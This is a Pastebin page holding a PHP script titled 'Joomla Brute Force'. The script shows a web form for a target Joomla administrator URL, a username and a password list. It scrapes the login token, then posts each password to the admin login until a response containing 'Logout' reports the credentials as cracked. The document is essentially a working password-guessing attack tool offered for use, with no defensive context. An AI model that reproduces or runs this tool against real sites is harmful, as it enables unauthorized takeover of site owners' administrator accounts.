Aluf

Joomla

Jan 23rd, 2015
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.51 KB | None | 0 0
  1. <form method='POST'>
  2. <title>Ar_52 aluf_0089</title>
  3. <center>
  4. <h1><font face='Tahoma'>Joomla Brute Force</font><h1>
  5. <input type='text' name='target' placeholder='http://site/joomla/administrator/index.php' size='38'><br>
  6. <input type='text' name='username' placeholder='username' size='38'><br>
  7. <textarea rows='16' cols='38' name='password' placeholder='password'></textarea><br>
  8. <input type='submit' value='Start Brute' name='brute'><br>
  9. </center>
  10. </form>
  11. <?
  12.        
  13.         @set_time_limit(0);
  14.         # Target
  15.        $site = $_POST['target'];
  16.         $username = $_POST['username'];
  17.         $passwords = explode("\r\n", $_POST['password']);
  18.  
  19.         function token($site)
  20.         {
  21.                 $curl = curl_init();
  22.                 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  23.                 curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  24.                 curl_setopt($curl,CURLOPT_URL, $site);
  25.                 @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
  26.                 @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
  27.                 $get = curl_exec($curl);
  28.                 preg_match('/<input type="hidden" name="(.*?)" value="1"/', $get, $token);
  29.                 return $token[1];
  30.         }
  31.         $hash = token($site);
  32.         function brute($site,$username,$password,$hash)
  33.         {
  34.                 $curl = curl_init();
  35.                 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  36.                 curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  37.                 curl_setopt($curl,CURLOPT_URL, $site);
  38.                 curl_setopt($curl,CURLOPT_POSTFIELDS,"username={$username}&passwd={$password}&lang=&option=com_login&task=login&return=aW5kZXgucGhw&{$hash}=1");
  39.                 @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
  40.                 @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
  41.                 $brute = curl_exec($curl);
  42.                 if(eregi("Logout" , $brute))
  43.                 {
  44.                         echo "<center><font face='Tahoma' size='2'>[+] Cracked Username : <font color='red'><b>{$username}</b></font> & Password : <font color='red'><b>{$password}</b></font></font></center>";
  45.                 }
  46.                 return $brute;
  47.         }
  48.         foreach($passwords as $password)
  49.         {
  50.                 brute($site,$username,$password,$hash);
  51.         }
  52.         @system("del cookie.txt"); # On Windows
  53.        @system("rm cookie.txt"); # On Linux
  54. ?>
  55. <center><h4><font face='Tahoma'>Aluf_0089</font></h4></center>
Advertisement
Add Comment
Please, Sign In to add comment